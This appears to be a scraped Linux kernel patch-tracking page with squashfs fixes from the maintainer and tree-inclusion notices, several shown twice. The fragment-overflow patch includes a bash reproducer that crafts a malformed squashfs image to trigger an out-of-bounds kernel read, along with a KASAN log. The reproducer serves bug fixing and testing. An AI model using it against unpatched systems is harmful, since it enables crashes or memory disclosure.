@@ -293,7 +296,8 @@ int squashfs_read_inode(struct inode *inode, long long ino)squashfs_i (inode)->parent =le32_to_cpu (sqsh_ino->parent_inode);TRACE ("Long directory inode %x:%x, start_block %llx, offset " -"%x\n" ,squashfs_inode_blk (ino), offset, +"%x\n" ,squashfs_inode_blk (ino), +squashfs_inode_offset (ino),squashfs_i (inode)->start,le16_to_cpu (sqsh_ino->offset));break ;
@@ -337,8 +341,8 @@ int squashfs_read_inode(struct inode *inode, long long ino) }TRACE ("Symbolic link inode %x:%x, start_block %llx, offset " -"%x\n" ,squashfs_inode_blk (ino), offset, - block, offset); +"%x\n" ,squashfs_inode_blk (ino), +squashfs_inode_offset (ino), block, offset);break ; }case SQUASHFS_BLKDEV_TYPE :
@@ -361,7 +365,8 @@ int squashfs_read_inode(struct inode *inode, long long ino)squashfs_i (inode)->parent =0 ;TRACE ("Device inode %x:%x, rdev %x\n" , -squashfs_inode_blk (ino), offset, rdev); +squashfs_inode_blk (ino), +squashfs_inode_offset (ino), rdev);break ; }case SQUASHFS_LBLKDEV_TYPE :
@@ -386,7 +391,8 @@ int squashfs_read_inode(struct inode *inode, long long ino)squashfs_i (inode)->parent =0 ;TRACE ("Device inode %x:%x, rdev %x\n" , -squashfs_inode_blk (ino), offset, rdev); +squashfs_inode_blk (ino), +squashfs_inode_offset (ino), rdev);break ; }case SQUASHFS_FIFO_TYPE :
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: fix offset in squashfs_read_inode() TRACE statements has been added to the -mm mm-nonmm-unstable branch. Its filename is…
The patch titled
Subject: Squashfs: fix offset in squashfs_read_inode() TRACE statements
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: fix offset in squashfs_read_inode() TRACE statements
Date: Mon, 23 Nov 2026 03:42:48 +0000
The offset used in the TRACE statements has been advanced past the start of the inode header by the squashfs_read_metadata() call. This means the offset printed is incorrect.
Fix this by using the original offset, which is obtained by calling squashfs_inode_offset(ino).
fs/squashfs/inode.c | 22 ++++++++++++++-------- 1 file changed, 14 insertions(+), 8 deletions(-)
fs/squashfs/inode.c renamed from fs/squashfs/inode.c~squashfs-fix-offset-in-squashfs_read_inode-trace-statements +14 -8
@@ -184,7 +184,8 @@ int squashfs_read_inode(struct inode *inTRACE ("File inode %x:%x, start_block %llx, block_list_start " "%llx, offset %x\n" ,squashfs_inode_blk (ino), - offset,squashfs_i (inode)->start, block, offset); +squashfs_inode_offset (ino), +squashfs_i (inode)->start, block, offset);break ; }case SQUASHFS_LREG_TYPE : {
@@ -244,7 +245,8 @@ int squashfs_read_inode(struct inode *inTRACE ("File inode %x:%x, start_block %llx, block_list_start " "%llx, offset %x\n" ,squashfs_inode_blk (ino), - offset,squashfs_i (inode)->start, block, offset); +squashfs_inode_offset (ino),squashfs_i (inode)->start, + block, offset);break ; }case SQUASHFS_DIR_TYPE : {
@@ -266,7 +268,8 @@ int squashfs_read_inode(struct inode *insquashfs_i (inode)->parent =le32_to_cpu (sqsh_ino->parent_inode);TRACE ("Directory inode %x:%x, start_block %llx, offset %x\n" , -squashfs_inode_blk (ino), offset, +squashfs_inode_blk (ino), +squashfs_inode_offset (ino),squashfs_i (inode)->start,le16_to_cpu (sqsh_ino->offset));break ;
@@ -293,7 +296,8 @@ int squashfs_read_inode(struct inode *insquashfs_i (inode)->parent =le32_to_cpu (sqsh_ino->parent_inode);TRACE ("Long directory inode %x:%x, start_block %llx, offset " -"%x\n" ,squashfs_inode_blk (ino), offset, +"%x\n" ,squashfs_inode_blk (ino), +squashfs_inode_offset (ino),squashfs_i (inode)->start,le16_to_cpu (sqsh_ino->offset));break ;
@@ -337,8 +341,8 @@ int squashfs_read_inode(struct inode *in }TRACE ("Symbolic link inode %x:%x, start_block %llx, offset " -"%x\n" ,squashfs_inode_blk (ino), offset, - block, offset); +"%x\n" ,squashfs_inode_blk (ino), +squashfs_inode_offset (ino), block, offset);break ; }case SQUASHFS_BLKDEV_TYPE :
@@ -361,7 +365,8 @@ int squashfs_read_inode(struct inode *insquashfs_i (inode)->parent =0 ;TRACE ("Device inode %x:%x, rdev %x\n" , -squashfs_inode_blk (ino), offset, rdev); +squashfs_inode_blk (ino), +squashfs_inode_offset (ino), rdev);break ; }case SQUASHFS_LBLKDEV_TYPE :
@@ -386,7 +391,8 @@ int squashfs_read_inode(struct inode *insquashfs_i (inode)->parent =0 ;TRACE ("Device inode %x:%x, rdev %x\n" , -squashfs_inode_blk (ino), offset, rdev); +squashfs_inode_blk (ino), +squashfs_inode_offset (ino), rdev);break ; }case SQUASHFS_FIFO_TYPE :
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Phillip Lougher
maintainerPATCH v3 8/23 Squashfs: don't compute start or alloc memory on empty directory or index
In reply to Phillip LougherIf a directory is empty (length equals 3), then there is no data to be read from the filesystem.
This means we can optimise directory reading and lookup with empty directories by skipping allocating memory to read data into, and also skip computing the start location.
If the directory index is also empty, we can also skip allocating memory when reading the index.
This commit also fixes the TRACE statements to display the start and offset of the directory data within the directory table, rather than the computed location on disk, or the incremented values after squashfs_read_metadata() has been called.
It also adds sanity checks to ensure that the directory length is not less than 3 bytes.
--- fs/squashfs/dir.c | 32 +++++++++++++++++++++----------- fs/squashfs/inode.c | 16 ++++++++++++++-- fs/squashfs/namei.c | 32 +++++++++++++++++++------------- 3 files changed, 54 insertions(+), 26 deletions(-)
fs/squashfs/dir.c +21 -11
@@ -99,19 +99,14 @@ static int squashfs_readdir(struct file *file, struct dir_context *ctx) {struct inode *inode =file_inode (file);struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info; -u64 block =squashfs_i (inode)->start + msblk->directory_table; -int offset =squashfs_i (inode)->offset, length, err; +u64 block; +int offset, length, err;unsigned int inode_number, dir_count, size, type;struct squashfs_dir_header dirh;struct squashfs_dir_entry *dire; -TRACE ("Entered squashfs_readdir [%llx:%x]\n" , block, offset); - - dire =kmalloc (sizeof (*dire) +SQUASHFS_NAME_LEN +1 ,GFP_KERNEL ); -if (dire ==NULL ) { -ERROR ("Failed to allocate squashfs_dir_entry\n" ); - goto finish; - } +TRACE ("Entered squashfs_readdir [%llx:%x]\n" ,squashfs_i (inode)->start, +squashfs_i (inode)->offset);/* * Return "." and ".." entries as the first two filenames in the
@@ -142,6 +137,19 @@ static int squashfs_readdir(struct file *file, struct dir_context *ctx) ctx->pos += size; } +if (i_size_read (inode) ==3 ) +/* The directory is empty, nothing more to do */ + goto finish; + + dire =kmalloc (sizeof (*dire) +SQUASHFS_NAME_LEN +1 ,GFP_KERNEL ); +if (dire ==NULL ) { +ERROR ("Failed to allocate squashfs_dir_entry\n" ); + goto finish; + } + + block =squashfs_i (inode)->start + msblk->directory_table; + offset =squashfs_i (inode)->offset; + length = get_dir_index_using_offset(inode->i_sb, &block, &offset, squashfs_i(inode)->dir_idx_start, squashfs_i(inode)->dir_idx_offset,
@@ -206,12 +214,14 @@ static int squashfs_readdir(struct file *file, struct dir_context *ctx) } } -finish:kfree (dire); + +finish:return 0 ; failed_read: -ERROR ("Unable to read directory block [%llx:%x]\n" , block, offset); +ERROR ("Unable to read directory [%llx:%x]\n" ,squashfs_i (inode)->start, +squashfs_i (inode)->offset);kfree (dire);return 0 ; }
fs/squashfs/inode.c +14 -2
@@ -257,8 +257,14 @@ int squashfs_read_inode(struct inode *inode, long long ino)if (err <0 ) goto failed_read; -set_nlink (inode,le32_to_cpu (sqsh_ino->nlink)); +/* The directory size must be 3 or larger, as it includes "." and ".." entries */ inode->i_size =le16_to_cpu (sqsh_ino->file_size); +if (inode->i_size <3 ) { + err = -EINVAL ; + goto failed_read; + } + +set_nlink (inode,le32_to_cpu (sqsh_ino->nlink)); inode->i_op = &squashfs_dir_inode_ops; inode->i_fop = &squashfs_dir_ops; inode->i_mode |=S_IFDIR ;
@@ -282,9 +288,15 @@ int squashfs_read_inode(struct inode *inode, long long ino)if (err <0 ) goto failed_read; +/* The directory size must be 3 or larger, as it includes "." and ".." entries */ + inode->i_size =le32_to_cpu (sqsh_ino->file_size); +if (inode->i_size <3 ) { + err = -EINVAL ; + goto failed_read; + } + xattr_id =le32_to_cpu (sqsh_ino->xattr);set_nlink (inode,le32_to_cpu (sqsh_ino->nlink)); - inode->i_size =le32_to_cpu (sqsh_ino->file_size); inode->i_op = &squashfs_dir_inode_ops; inode->i_fop = &squashfs_dir_ops; inode->i_mode |=S_IFDIR ;
fs/squashfs/namei.c +19 -13
@@ -72,6 +72,9 @@ static int get_dir_index_using_name(struct super_block *sb,TRACE ("Entered get_dir_index_using_name, i_count %d\n" , i_count); +if (i_count ==0 ) + goto out; + index =kmalloc (sizeof (*index) +SQUASHFS_NAME_LEN +1 ,GFP_KERNEL );if (index ==NULL ) {ERROR ("Failed to allocate squashfs_dir_index\n" );
@@ -126,13 +129,20 @@ static struct dentry *squashfs_lookup(struct inode *dir, struct dentry *dentry,struct inode *inode =NULL ;struct squashfs_sb_info *msblk = dir->i_sb->s_fs_info;struct squashfs_dir_header dirh; -struct squashfs_dir_entry *dire; -u64 block =squashfs_i (dir)->start + msblk->directory_table; -int offset =squashfs_i (dir)->offset; -int err, length; +struct squashfs_dir_entry *dire =NULL ; +u64 block; +int offset, err, length;unsigned int dir_count, size; -TRACE ("Entered squashfs_lookup [%llx:%x]\n" , block, offset); +TRACE ("Entered squashfs_lookup [%llx:%x]\n" ,squashfs_i (inode)->start, +squashfs_i (inode)->offset); + +if (len >SQUASHFS_NAME_LEN ) +return ERR_PTR (-ENAMETOOLONG ); + +if (i_size_read (dir) ==3 ) +/* The directory is empty, and so there's nothing to do */ + goto exit_lookup; dire =kmalloc (sizeof (*dire) +SQUASHFS_NAME_LEN +1 ,GFP_KERNEL );if (dire ==NULL ) {
@@ -140,10 +150,8 @@ static struct dentry *squashfs_lookup(struct inode *dir, struct dentry *dentry,return ERR_PTR (-ENOMEM ); } -if (len >SQUASHFS_NAME_LEN ) { - err = -ENAMETOOLONG ; - goto failed; - } + block =squashfs_i (dir)->start + msblk->directory_table; + offset =squashfs_i (dir)->offset; length = get_dir_index_using_name(dir->i_sb, &block, &offset, squashfs_i(dir)->dir_idx_start,
@@ -218,10 +226,8 @@ static struct dentry *squashfs_lookup(struct inode *dir, struct dentry *dentry, err = -EIO ; read_failure: -ERROR ("Unable to read directory block [%llx:%x]\n" , -squashfs_i (dir)->start + msblk->directory_table, -squashfs_i (dir)->offset); -failed: +ERROR ("Unable to read directory [%llx:%x]\n" ,squashfs_i (dir)->start, +squashfs_i (dir)->offset);kfree (dire);return ERR_PTR (err); }
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: don't compute start or alloc memory on empty directory or index has been added to the -mm mm-nonmm-unstable branch. Its filename is…
The patch titled
Subject: Squashfs: don't compute start or alloc memory on empty directory or index
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: don't compute start or alloc memory on empty directory or index
Date: Mon, 23 Nov 2026 03:42:49 +0000
If a directory is empty (length equals 3), then there is no data to be read from the filesystem.
This means we can optimise directory reading and lookup with empty directories by skipping allocating memory to read data into, and also skip computing the start location.
If the directory index is also empty, we can also skip allocating memory when reading the index.
This commit also fixes the TRACE statements to display the start and offset of the directory data within the directory table, rather than the computed location on disk, or the incremented values after squashfs_read_metadata() has been called.
It also adds sanity checks to ensure that the directory length is not less than 3 bytes.
fs/squashfs/dir.c | 32 +++++++++++++++++++++----------- fs/squashfs/inode.c | 16 ++++++++++++++-- fs/squashfs/namei.c | 32 +++++++++++++++++++------------- 3 files changed, 54 insertions(+), 26 deletions(-)
fs/squashfs/dir.c renamed from fs/squashfs/dir.c~squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index +21 -11
@@ -99,19 +99,14 @@ static int squashfs_readdir(struct file {struct inode *inode =file_inode (file);struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info; -u64 block =squashfs_i (inode)->start + msblk->directory_table; -int offset =squashfs_i (inode)->offset, length, err; +u64 block; +int offset, length, err;unsigned int inode_number, dir_count, size, type;struct squashfs_dir_header dirh;struct squashfs_dir_entry *dire; -TRACE ("Entered squashfs_readdir [%llx:%x]\n" , block, offset); - - dire =kmalloc (sizeof (*dire) +SQUASHFS_NAME_LEN +1 ,GFP_KERNEL ); -if (dire ==NULL ) { -ERROR ("Failed to allocate squashfs_dir_entry\n" ); - goto finish; - } +TRACE ("Entered squashfs_readdir [%llx:%x]\n" ,squashfs_i (inode)->start, +squashfs_i (inode)->offset);/* * Return "." and ".." entries as the first two filenames in the
@@ -142,6 +137,19 @@ static int squashfs_readdir(struct file ctx->pos += size; } +if (i_size_read (inode) ==3 ) +/* The directory is empty, nothing more to do */ + goto finish; + + dire =kmalloc (sizeof (*dire) +SQUASHFS_NAME_LEN +1 ,GFP_KERNEL ); +if (dire ==NULL ) { +ERROR ("Failed to allocate squashfs_dir_entry\n" ); + goto finish; + } + + block =squashfs_i (inode)->start + msblk->directory_table; + offset =squashfs_i (inode)->offset; + length = get_dir_index_using_offset(inode->i_sb, &block, &offset, squashfs_i(inode)->dir_idx_start, squashfs_i(inode)->dir_idx_offset,
@@ -206,12 +214,14 @@ static int squashfs_readdir(struct file } } -finish:kfree (dire); + +finish:return 0 ; failed_read: -ERROR ("Unable to read directory block [%llx:%x]\n" , block, offset); +ERROR ("Unable to read directory [%llx:%x]\n" ,squashfs_i (inode)->start, +squashfs_i (inode)->offset);kfree (dire);return 0 ; }
fs/squashfs/inode.c renamed from fs/squashfs/inode.c~squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index +14 -2
@@ -257,8 +257,14 @@ int squashfs_read_inode(struct inode *inif (err <0 ) goto failed_read; -set_nlink (inode,le32_to_cpu (sqsh_ino->nlink)); +/* The directory size must be 3 or larger, as it includes "." and ".." entries */ inode->i_size =le16_to_cpu (sqsh_ino->file_size); +if (inode->i_size <3 ) { + err = -EINVAL ; + goto failed_read; + } + +set_nlink (inode,le32_to_cpu (sqsh_ino->nlink)); inode->i_op = &squashfs_dir_inode_ops; inode->i_fop = &squashfs_dir_ops; inode->i_mode |=S_IFDIR ;
@@ -282,9 +288,15 @@ int squashfs_read_inode(struct inode *inif (err <0 ) goto failed_read; +/* The directory size must be 3 or larger, as it includes "." and ".." entries */ + inode->i_size =le32_to_cpu (sqsh_ino->file_size); +if (inode->i_size <3 ) { + err = -EINVAL ; + goto failed_read; + } + xattr_id =le32_to_cpu (sqsh_ino->xattr);set_nlink (inode,le32_to_cpu (sqsh_ino->nlink)); - inode->i_size =le32_to_cpu (sqsh_ino->file_size); inode->i_op = &squashfs_dir_inode_ops; inode->i_fop = &squashfs_dir_ops; inode->i_mode |=S_IFDIR ;
fs/squashfs/namei.c renamed from fs/squashfs/namei.c~squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index +19 -13
@@ -72,6 +72,9 @@ static int get_dir_index_using_name(struTRACE ("Entered get_dir_index_using_name, i_count %d\n" , i_count); +if (i_count ==0 ) + goto out; + index =kmalloc (sizeof (*index) +SQUASHFS_NAME_LEN +1 ,GFP_KERNEL );if (index ==NULL ) {ERROR ("Failed to allocate squashfs_dir_index\n" );
@@ -126,13 +129,20 @@ static struct dentry *squashfs_lookup(ststruct inode *inode =NULL ;struct squashfs_sb_info *msblk = dir->i_sb->s_fs_info;struct squashfs_dir_header dirh; -struct squashfs_dir_entry *dire; -u64 block =squashfs_i (dir)->start + msblk->directory_table; -int offset =squashfs_i (dir)->offset; -int err, length; +struct squashfs_dir_entry *dire =NULL ; +u64 block; +int offset, err, length;unsigned int dir_count, size; -TRACE ("Entered squashfs_lookup [%llx:%x]\n" , block, offset); +TRACE ("Entered squashfs_lookup [%llx:%x]\n" ,squashfs_i (inode)->start, +squashfs_i (inode)->offset); + +if (len >SQUASHFS_NAME_LEN ) +return ERR_PTR (-ENAMETOOLONG ); + +if (i_size_read (dir) ==3 ) +/* The directory is empty, and so there's nothing to do */ + goto exit_lookup; dire =kmalloc (sizeof (*dire) +SQUASHFS_NAME_LEN +1 ,GFP_KERNEL );if (dire ==NULL ) {
@@ -140,10 +150,8 @@ static struct dentry *squashfs_lookup(streturn ERR_PTR (-ENOMEM ); } -if (len >SQUASHFS_NAME_LEN ) { - err = -ENAMETOOLONG ; - goto failed; - } + block =squashfs_i (dir)->start + msblk->directory_table; + offset =squashfs_i (dir)->offset; length = get_dir_index_using_name(dir->i_sb, &block, &offset, squashfs_i(dir)->dir_idx_start,
@@ -218,10 +226,8 @@ data_error: err = -EIO ; read_failure: -ERROR ("Unable to read directory block [%llx:%x]\n" , -squashfs_i (dir)->start + msblk->directory_table, -squashfs_i (dir)->offset); -failed: +ERROR ("Unable to read directory [%llx:%x]\n" ,squashfs_i (dir)->start, +squashfs_i (dir)->offset);kfree (dire);return ERR_PTR (err); }
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Phillip Lougher
maintainerPATCH v3 9/23 Squashfs: fix fragment bytes overflow on 32-bit architectures
In reply to Phillip LougherIn helper function squashfs_fragment_bytes() the u32 fragments variable is multiplied by sizeof(struct squashfs_fragment_enty).
On a 32-bit architecture the type of sizeof() is a 32-bit unsigned integer, which means the computation will overflow for fragments values above 268435455.
The knock-on effect is the size of the in memory fragment index table will be incorrectly computed, and a much smaller than expected index table will be allocated and read into memory.
Later when a fragment index beyond this is looked up in this table, this will produce an out of bounds access.
The fix is to explicitly widen the fragments variable to a long long in the squashfs_fragment_bytes() helper function.
Reproducer
=========
The following script when run on a 32-bit x86 kernel (which lacks KASAN support) will produce an I/O error. On a 32-bit ARM kernel with KASAN enabled, the out of bounds access will also produce a KASAN report.
[ 193.817260] ================================================================== [ 193.818057] BUG: KASAN: slab-out-of-bounds in squashfs_frag_lookup+0x23c/0x264 [ 193.820408] Read of size 8 at addr cc126708 by task stat/357 [ 193.820720] [ 193.821675] CPU: 3 UID: 0 PID: 357 Comm: stat Not tainted 7.2.0-13187-g66498c75b4f8 #113 VOLUNTARY
=================================================================
#!/bin/bash
ARGS="-no-duplicates -no-sparse -no-hardlinks -quiet -no-progress"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}# Create a Squashfs filesystem with 1026 files and 513 fragments. # This will create a two entry Squashfs fragment index table. #
DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
# Create a Squashfs pseudo file which is fed to Mksquashfs echo Create a Squashfs pseudo file which is fed to Mksquashfs
dd if=/dev/urandom of=urandom bs=1024 count=50 status=none for i in $(seq 1 1026); do
echo "$i l urandom" >> pseudo
done
# Create the Squashfs filesystem
echo Create the Squashfs filesystem
if ! mksquashfs - img.sqsh -pf pseudo -p "/ d 0777 0 0" $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
# The fragments field (fragment count) in the superblock is at offset # 16 bytes.
#
# Over-write the fragments count with 268,435,457 little-endian. On a # 32-bit architecture, this when multiplied by 16 will overflow, giving
# the value 16. # # Ultimately this will cause the kernel code to create and read a single # entry index table (where in fact the table has two entries). # # Then stating file 999 which has a fragment id in the second index, # will cause an out of bounds access.
# Write 268,435,457 in little-endian format to file /usr/bin/echo -en "\x01\x00\x00\x10" > file
# Over-write the fragments count in the superblock echo Over-write the fragments count in the superblock
dd bs=1 seek=16 if=file of=img.sqsh count=4 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
# Stat file 999
echo Stat file 999
stat /mnt/999
popd 2>&1 > /dev/null
rm -rf $DIR
=================================================================
--- fs/squashfs/squashfs_helpers.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
fs/squashfs/squashfs_helpers.h +1 -1
@@ -55,7 +55,7 @@ static inline s64 squashfs_mkinode(u32 start, u16 offset)/* fragment and fragment table defines */ static inline s64 squashfs_fragment_bytes (u32 fragments) { -return fragments *sizeof (struct squashfs_fragment_entry ); +return (s64 ) fragments *sizeof (struct squashfs_fragment_entry ); }static inline s32 squashfs_fragment_index (u32 fragments)
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: fix fragment bytes overflow on 32-bit architectures has been added to the -mm mm-nonmm-unstable branch. Its filename is…
The patch titled
Subject: Squashfs: fix fragment bytes overflow on 32-bit architectures
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: fix fragment bytes overflow on 32-bit architectures
Date: Mon, 23 Nov 2026 03:42:50 +0000
In helper function squashfs_fragment_bytes() the u32 fragments variable is multiplied by sizeof(struct squashfs_fragment_enty).
On a 32-bit architecture the type of sizeof() is a 32-bit unsigned integer, which means the computation will overflow for fragments values above 268435455.
The knock-on effect is the size of the in memory fragment index table will be incorrectly computed, and a much smaller than expected index table will be allocated and read into memory.
Later when a fragment index beyond this is looked up in this table, this will produce an out of bounds access.
The fix is to explicitly widen the fragments variable to a long long in the squashfs_fragment_bytes() helper function.
Reproducer
=========
The following script when run on a 32-bit x86 kernel (which lacks KASAN support) will produce an I/O error. On a 32-bit ARM kernel with KASAN enabled, the out of bounds access will also produce a KASAN report.
[ 193.817260] ================================================================== [ 193.818057] BUG: KASAN: slab-out-of-bounds in squashfs_frag_lookup+0x23c/0x264 [ 193.820408] Read of size 8 at addr cc126708 by task stat/357 [ 193.820720] [ 193.821675] CPU: 3 UID: 0 PID: 357 Comm: stat Not tainted 7.2.0-13187-g66498c75b4f8 #113 VOLUNTARY
=================================================================
#!/bin/bash
ARGS="-no-duplicates -no-sparse -no-hardlinks -quiet -no-progress"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}# Create a Squashfs filesystem with 1026 files and 513 fragments. # This will create a two entry Squashfs fragment index table. #
DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
# Create a Squashfs pseudo file which is fed to Mksquashfs echo Create a Squashfs pseudo file which is fed to Mksquashfs
dd if=/dev/urandom of=urandom bs=1024 count=50 status=none for i in $(seq 1 1026); do
echo "$i l urandom" >> pseudo
done
# Create the Squashfs filesystem
echo Create the Squashfs filesystem
if ! mksquashfs - img.sqsh -pf pseudo -p "/ d 0777 0 0" $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
# The fragments field (fragment count) in the superblock is at offset # 16 bytes.
#
# Over-write the fragments count with 268,435,457 little-endian. On a # 32-bit architecture, this when multiplied by 16 will overflow, giving
# the value 16. # # Ultimately this will cause the kernel code to create and read a single # entry index table (where in fact the table has two entries). # # Then stating file 999 which has a fragment id in the second index, # will cause an out of bounds access.
# Write 268,435,457 in little-endian format to file /usr/bin/echo -en "\x01\x00\x00\x10" > file
# Over-write the fragments count in the superblock echo Over-write the fragments count in the superblock
dd bs=1 seek=16 if=file of=img.sqsh count=4 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
# Stat file 999
echo Stat file 999
stat /mnt/999
popd 2>&1 > /dev/null
rm -rf $DIR
=================================================================
fs/squashfs/squashfs_helpers.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures +1 -1
@@ -55,7 +55,7 @@ static inline s64 squashfs_mkinode(u32 s/* fragment and fragment table defines */ static inline s64 squashfs_fragment_bytes (u32 fragments) { -return fragments *sizeof (struct squashfs_fragment_entry ); +return (s64 ) fragments *sizeof (struct squashfs_fragment_entry ); }static inline s32 squashfs_fragment_index (u32 fragments)
_
Patches currently in -mm which might be from [email protected] are
